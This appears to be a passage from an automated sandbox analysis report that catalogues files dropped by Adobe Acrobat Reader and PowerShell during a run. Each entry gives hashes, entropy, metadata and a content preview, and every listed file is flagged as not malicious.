Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.31310251481773
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJf8dPeUkwRe9:YvXKXpbDjcksdTeOyGU8Ukee9
MD5:	FF19AB2D6F0F1A85595C79B601279034
SHA1:	09C6EF43ACD3ABCC85BCB78BB69933CD0FC563AC
SHA-256:	CB8F45098C0682CF415546131FB5F8354107FADC62D5B8CCD6955720B191E840
SHA-512:	4053C273169D20F75B43388891E53B275EB99CAF8F35D87EAEA9F328EB99665CE6A1E22E08B6FFCD96ECD0FB70E2A54806D1DBDE18B3A02E62635E2F59663915
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.316229911331149
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfQ1rPeUkwRe9:YvXKXpbDjcksdTeOyGY16Ukee9
MD5:	D2CD93BDABC526C625EB40C274C6D6CD
SHA1:	35028DE37B75C9D3FF5DE7150F6678077DE4BADD
SHA-256:	2640143DCBD843611474A31D1AB65855448F3CF75D42164ED90EADC6229ADF3E
SHA-512:	3C22B4FC5AA76F68394D2D7435E7A43360F6396979D81056A6E9D48CCF330465512854FE9B7C261417EF0545C6896B0C92AA918DAE68A43841CB4DC65828FE7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.330512190686894
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfFldPeUkwRe9:YvXKXpbDjcksdTeOyGz8Ukee9
MD5:	0A933B5E19E1167ACFCFF821FED1E408
SHA1:	F0858610F66B7FC9806D65B195871316754518AC
SHA-256:	BEF56E4AC84AE56B6B5A67A741EB2DD2CCA1829ADFD0E1383052A5213A041800
SHA-512:	01ABB2E269580407AF5BF1F0EC44DDFA3DCE74A4BF064D49053B34BFE5E9AC20B058557CDCCD00F17BC45D7158A29EAB844AB8B537099941DA8722881A829819
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.339071907880548
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfzdPeUkwRe9:YvXKXpbDjcksdTeOyGb8Ukee9
MD5:	F1D00C582E5C6C38A460FAF367BCE270
SHA1:	C710BC2E3D2771C0E6C58D5D8BFC6C9CB5CFD2F9
SHA-256:	D670F60A6892AD40052014E7192D163216FAA67D475A671EC60E95D08C4CE7BC
SHA-512:	960C4D6BCEC80E377BD02F8ABADFB8326B7ED51DA0161E2562FCB6215FECAEDCAEE10659B6795CC6F2F29F92D7DFE15F1AB07A2F6762758464EAED5735A2EE6B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319518796200735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfYdPeUkwRe9:YvXKXpbDjcksdTeOyGg8Ukee9
MD5:	D3233D2C27D27B8914722334E61F8383
SHA1:	F0461657AB69B034D62A4476255B86D2B3AF0435
SHA-256:	B3AE2D81ABEBE5C35B468D1C206CCC3F53FFA8D3422E3AFE24FE4C7EC4A81673
SHA-512:	5C6C5878A4CEBE743E958F728C90F44AF69E9B9AB24F813F4D0391319883E6A62345F982B7EFB500FEBF96227FF760C9F80C985EF6BA2C16CD840CC3911668F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.3062118007294305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJf+dPeUkwRe9:YvXKXpbDjcksdTeOyG28Ukee9
MD5:	4D6A7F60290C2CC588CCF39891603500
SHA1:	B9D6EE6A986884013BD5D67D78CA526172FE8B70
SHA-256:	63F0E725A31B35CF042BF59E9A099AEDD64872EAF9A01915C4B3C69E2E605868
SHA-512:	1EB5878568F456DFA486C7C90DF83D4A0AA76F6C225AC341B6410877202935212CEE9A14A9182CA955AE41106A101FB55CA2709A9144CEA38672ED45093CBA89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.302931744072532
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfbPtdPeUkwRe9:YvXKXpbDjcksdTeOyGDV8Ukee9
MD5:	D44A37AF85B40371E120A03624706BFF
SHA1:	24FFDB671580F6CFD272CE5C2A13439CD4BA407F
SHA-256:	345093A0225789B1F267D6597E4CE2496EF4C47A3BCF701800230D2F61275533
SHA-512:	9DF6027F4DB2861705C7CE20D510FF3F5E9DBA3E69CD0AAF871258B3E101B68BBEEE07181FAEB8A403010B8EE326CDC31AA38CACDCB1EA5A671F32C82B79569F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.307203615906179
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJf21rPeUkwRe9:YvXKXpbDjcksdTeOyG+16Ukee9
MD5:	7C015D1EA760DEBFE95B33CBF4A169E5
SHA1:	15739EBDD6E85E536537FF334577960A76DF2A1C
SHA-256:	FF9B56116A740DE79038078D4034BD3F2601E1D287B0780449E5FDB2EA51C021
SHA-512:	ACED9A5C60CE2893972DCE6DF5BCFEE949D7947548B543A7DE440512D18FC418546F97CB72FFDFC471771DED585D7F9395166D500938FD45601A5A1F6D80F287
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666911924414156
Encrypted:	false
SSDEEP:	24:Yv6XpbDj1meOXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSs:Yv8DjAeqBgkDMUJUAh8cvMs
MD5:	B81430DC13C15C0B32EFB55CBC935685
SHA1:	25B20AD9006E6C839C74E5B05D0956931C40C04F
SHA-256:	580C8121355DBC38639FA27A0392FB37782588747200861C5A3F98FE023154C2
SHA-512:	289D5A3EFE3E54193F5880B12C0914865348D86A6F155413E64B070BA19CB0DB7A8E394E325510BC0159D46C113657058DFB4AC36846DE88D05E621AEA0899EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.281995669319656
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfshHHrPeUkwRe9:YvXKXpbDjcksdTeOyGUUUkee9
MD5:	F3E4C6F501AD0573F4CD7EE49716CDD5
SHA1:	5FFBCF7577ED2A2E12FB62E8BB5B612010AC573F
SHA-256:	261BFE82C75B8BB2090E78F2D8D99B02A5DC11CFDAE6E2E75C7C4B43FE4FA1E3
SHA-512:	B69861072EB99EAEB06707513C59BBD751908EB03150F19E8205C09F1945353E0E7EE65F792F323232B504FF89375635B3B6EDCE3AD8F427F7A7B0CDEDFCA097
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.29991181556835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJTqgFCrPeUkwRe9:YvXKXpbDjcksdTeOyGTq16Ukee9
MD5:	546CD377E923569E798C74E4F28114BF
SHA1:	8E95A5D791E7A6C3C9B40403694159C78EDFA4A5
SHA-256:	2F64279F2A2F8CE94CBF8C494D9E488350C60D42E7FCCAF3BB35CF1EF5B97042
SHA-512:	9BB269CD13BC1625CCE91F1DEAC895DF73B336CE1EC8F91D5DFFFF54F76D65EA63209F419C470AFC2B9769795510C3381EEBFEC98CA794B238FD3933E4446874
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148232521604663
Encrypted:	false
SSDEEP:	24:YGTAaMtayfEPSBshT7HqnFroj18j0SA32/82CP2LSqCmCPq8Sd857D5d90Vu2fuZ:YzDBshT7Kno4URJPc3CPq8SU3f90c2O
MD5:	C429DF9E14BF3E9FDC27B8535B3F46FF
SHA1:	D316F2312F0A8B4BF064F7130981BEA0490DDD43
SHA-256:	0E15D40529890AB226E09DDD8EC7B1C24685D8F8378AFA25E64CEB32DF518962
SHA-512:	F63669EAA19D90FD3F1DFDEE60D28AF167DE10FC5395D3A82AF1D42D6720450D0B485F460C8836269EC5773033E60CC49630130C5980295483007FF0F6191EB7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c2cba2ddba54a4d20ccbee5a74405d2f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736579351000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2123a2b1b20ab49cbecd78c93ef53218","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736579351000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5e1ef478d8bfbb9cf27fbca2bd6e7d6a","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736579351000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c40f8b1822ac31811cb559c8c99deaa2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736579351000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"cabfdd4885ba16b24b80f7364baccef3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736579351000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"33ea4a26e0aaa2bcbf12d9161b5977a0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4526500333379424
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsclA:lNVmsw3SHtbDbPe0K3+fDZd4
MD5:	3AF339D94606F8AE01B51655B797EBD6
SHA1:	87DFB98931D93B286F062FA120E97E245488DF74
SHA-256:	06C4D5819BE288CEA763D932C04AE564B28F2A7EFC482222D7179684E41AEECF
SHA-512:	A30877233DA42AC8821F1DC814A25ECB4BB82E65388223B9572777E8F57EDE4CD09AEF5E084188B072CB0611B976B5F5192E761FCA1D0300214B93B26C5660B8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9586927479065075
Encrypted:	false
SSDEEP:	48:7MGcrvrBd6dHtbGIbPe0K3+fDy2dsZOqFl2GL7msj:7X03SHtbDbPe0K3+fDZd9KVmsj
MD5:	4481774702163FB73E24147C7E6C5B95
SHA1:	602B4E4217F479DA7FA29FC0A22C512EF62A7931
SHA-256:	FF9F9FC746A0974AE10B8C06B602AB8BE2AC7EB64C785F884023C19BA7243CD5
SHA-512:	04E25845A5AE3AA182E122373701A9A2A4AF46BD739C8E1AE7B658A0AC78F0B7CF25866C2449343B9DC7C9E9E0F1E0923B4DA2E302E2A8041962A8A6AC495CD1
Malicious:	false
Preview:	.... .c.....>..B......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg89OMRZikqgF5ZnZXPPfz3QZ4OseYyu:6a6TZ44ADEjjy5ZnpPPfzgZGeK
MD5:	F2F34C1806DCECCE5C4113E536B0082C
SHA1:	8E6432AF45C00641B276151EA0F0F1051E2ABD70
SHA-256:	970CFE73CCF8AD30EBA4A0CEE6524C66B92A4E006D423BE3218649789DD0E4F7
SHA-512:	F2E2EA4175C0116D2EA9C1549840C7CA9626F6CF3E4B861B3AC1B0E5AD8BFE9261EE32E4439270CC3B467A99DA5E83B85C8901B99FF0BA0AE620AFFD50750137
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI4ea09.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl0liYlYH:Qw946cPbiOxDlbYnuRKdoYlYH
MD5:	B1D675D410B4B0B7B33DF54ED85E8381
SHA1:	159AE98D5EEF55623A90A27D373C2C5648637DA1
SHA-256:	70954C0593888A30DD99D2BDCD9CD1755F269CDD5B04F1D18229AEF265FE90FC
SHA-512:	3864E563FC89B8C6806C69771D5CA50DCE26233A2634796AAB0E0E2CDA6B7485A3B2A59FD3E0F0F95F00F1D253C4AF6C6088ECA133345C0E5BBFC1D1E1BA12C1
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.0.9.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3izy3qfc.fcg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y3rsus12.q4i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9yyw9y2_2zgmtw_3xk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-09-03-767.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
